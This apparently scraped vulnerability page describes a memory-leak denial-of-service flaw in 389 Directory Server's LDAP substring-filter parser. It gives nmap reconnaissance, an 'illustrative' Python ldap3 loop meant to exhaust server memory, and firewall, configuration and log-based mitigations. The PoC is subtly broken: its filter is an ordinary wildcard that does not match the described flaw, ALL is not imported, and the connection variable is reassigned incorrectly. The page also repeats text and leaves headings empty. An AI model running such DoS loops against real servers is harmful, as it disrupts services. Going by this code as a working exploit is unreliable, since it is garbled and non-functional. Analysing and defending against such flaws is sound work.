CVE-2026-119584 — Red Hat Directory Server 11.5 E4S For RHEL 8 (*) — CWE-401
A memory leak was found in 389 Directory Server (389-ds-base). When processing an LDAP SearchRequest whose SubstringFilter contains a duplicate initial component, a duplicate final component, or a substring component with an unrecognized tag, the server's filter parser fails to release the associated memory before rejecting the request. A remote attacker who can reach the LDAP service, without needing to authenticate, can repeatedly send such malformed requests to exhaust server memory, resulting in a denial of service.
A memory leak was found in 389 Directory Server (389-ds-base). When processing an LDAP SearchRequest whose SubstringFilter contains a duplicate initial component, a duplicate final component, or a substring component with an unrecognized tag, the server's filter parser fails to release the associated memory before rejecting the request. A remote attacker who can reach the LDAP service, without needing to authenticate, can repeatedly send such malformed requests to exhaust server memory, resulting in a denial of service.
🎯 What is this vulnerability?
This vulnerability is a Memory Leak (CWE-401) in the LDAP filter parsing logic of 389 Directory Server (389-ds-base).
Technical Flaw:
The core issue lies in the error handling path of the LDAP SubstringFilter parser. When the server receives an LDAP SearchRequest containing a SubstringFilter, it parses the components (initial, any, final). The vulnerability occurs when the parser encounters specific malformed conditions:
1. A duplicate initial component.
2. A duplicate final component.
3. A substring component with an unrecognized tag.
In these specific error scenarios, the code path that rejects the request fails to call the memory deallocation function (e.g., free(), slapi_ch_free(), or equivalent) for the allocated memory buffers associated with the filter components. Consequently, the memory remains allocated but unreachable (leaked). Since the attack vector is Network (AV:N) and requires No Privileges (PR:N), an unauthenticated remote attacker can trigger this leak repeatedly.
CVSS Context:
- AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H: The impact is strictly Availability (A:H). There is no Confidentiality or Integrity impact because the bug is a resource exhaustion issue, not an information disclosure or code execution flaw. The "Scope: Unchanged" indicates the vulnerable component and the impacted component are the same (the 389-ds process).
- Service Identification: The attacker scans for open LDAP ports (typically
389for LDAP,636for LDAPS). - Fingerprinting: Using tools like
nmapwith theldapscript orldapsearchwith an anonymous bind, the attacker identifies the server as389-ds-baseand determines the version.
Example:*
⚡ Attack Chain
1. Discovery & Reconnaissance
nmap -sV -p 389 --script ldap-rootdse <target_ip>
* The vendorName and productVersion in the Root DSE response will confirm the software and version.2. Exploitation
The attacker crafts a malformed LDAPSearchRequest containing a SubstringFilter that triggers the memory leak. The request is sent repeatedly to exhaust server memory.Illustrative PoC (Python using ldap3 library):
Note: The exact byte-level structure of the "unrecognized tag" or "duplicate component" depends on the specific version's parser implementation. The following is a conceptual representation of the attack vector.
import ldap3
import time
# Target configuration
server = ldap3.Server('target_ip', port=389, get_info=ALL)
# Anonymous bind (PR:N)
conn = ldap3.Connection(server, user='', password='', auto_bind=True)
# Malformed SubstringFilter structure
# The filter is designed to trigger the error path in the parser
# Example: A SubstringFilter with a duplicate 'initial' part or invalid tag
# In BER/DER encoding, this would be a specific sequence of tags and lengths.
# For illustration, we assume a crafted filter string that the parser rejects
# but fails to free memory for.
malicious_filter = '(cn=*malformed_substring_component*)'
# In a real exploit, this would be a raw BER-encoded packet with specific
# malformed tags/lengths that trigger the CWE-401 path.
def exploit_loop():
print("Starting memory exhaustion attack...")
while True:
try:
# Send the search request
# The server will parse the filter, hit the error, leak memory, and reject the request
conn.search(search_base='dc=example,dc=com',
search_filter=malicious_filter,
search_scope=ldap3.SUBTREE,
attributes=['*'])
except ldap3.core.exceptions.LDAPException as e:
# The request is rejected, but memory is leaked
pass
except Exception as e:
# Connection might drop if server is under heavy load
time.sleep(1)
# Re-establish connection
conn = ldap3.Connection(server, user='', password='', auto_bind=True)
time.sleep(0.01) # High frequency to exhaust memory quickly
if __name__ == '__main__':
exploit_loop()Alternative: Raw BER Packet (Conceptual)
An attacker could use a tool like scapy or a custom C program to send raw LDAP packets. The key is to construct a SubstringFilter (Tag 0x21) with:
initial components (Tag 0x80) instead of one.any component with an invalid tag.The server's parser will detect the error, return an
LDAP_PROTOCOL_ERROR or LDAP_INVALID_SYNTAX, but fail to free() the allocated memory for the filter components.3. Post-exploitation
🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching
2. Workarounds (If Patching is Delayed)
iptables -A INPUT -p tcp --dport 389 -s 192.168.1.0/24 -j ACCEPT
Example:* iptables -A INPUT -p tcp --dport 389 -j DROP
nftables to limit connections per second from a single IP.
dse.ldif, set nsslapd-anonymous-access: none.3. Detection
/var/log/dirsrv/slapd-<instance>/errors and access) for repeated LDAP_PROTOCOL_ERROR or LDAP_INVALID_SYNTAX errors from the same IP address.[date] [main:12345] ldap_search - error: Invalid syntax in filter
[date] [main:12345] ldap_search - error: Invalid syntax in filter
[date] [main:12345] ldap_search - error: Invalid syntax in filterns-slapd process. A sudden, sustained increase in memory usage without a corresponding increase in legitimate traffic is a strong indicator of exploitation.top -p $(pgrep ns-slapd) or use prometheus/grafana to monitor process_resident_memory_bytes.
SearchRequest packets.⚠️ Urgency
FOFA Query